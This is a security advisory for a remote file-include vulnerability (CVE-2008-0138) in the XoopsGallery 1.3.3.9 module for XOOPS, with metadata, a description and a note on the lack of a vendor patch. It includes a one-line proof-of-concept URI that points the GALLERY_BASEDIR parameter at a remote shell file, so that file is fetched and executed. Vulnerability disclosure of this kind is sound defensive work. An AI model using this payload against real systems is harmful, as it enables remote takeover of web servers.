Xoops XoopsGallery Module 'init_basic.php' Remote File Include Vulnerability

Bugtraq ID:	27155
Class:	Input Validation Error
CVE:	CVE-2008-0138
Remote:	Yes
Local:	No
Published:	Jan 06 2008 12:00AM
Updated:	May 07 2015 05:33PM
Credit:	Eugene Minaev discovered this vulnerability.
Vulnerable:	Xoops XoopsGallery Module 1.3.3.9
Not Vulnerable:

Xoops XoopsGallery Module 'init_basic.php' Remote File Include Vulnerability

XoopsGallery for XOOPS is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

XoopsGallery 1.3.3.9 is vulnerable; other versions may also be affected.

Xoops XoopsGallery Module 'init_basic.php' Remote File Include Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

http://www.example.com/xoopsgallery/init_basic.php?GALLERY_BASEDIR=http://path/to/m0nzt3r_shell.txt?&2093085906=1&995617320=2

Xoops XoopsGallery Module 'init_basic.php' Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Reportedly, the latest version of the module (XoopsGallery 2.1 rc4) is not vulnerable to this issue, but Symantec has not verified this.

Xoops XoopsGallery Module 'init_basic.php' Remote File Include Vulnerability

References:

• XOOPS Homepage (XOOPS)
  
• XoopsGallery Homepage (XoopsGallery)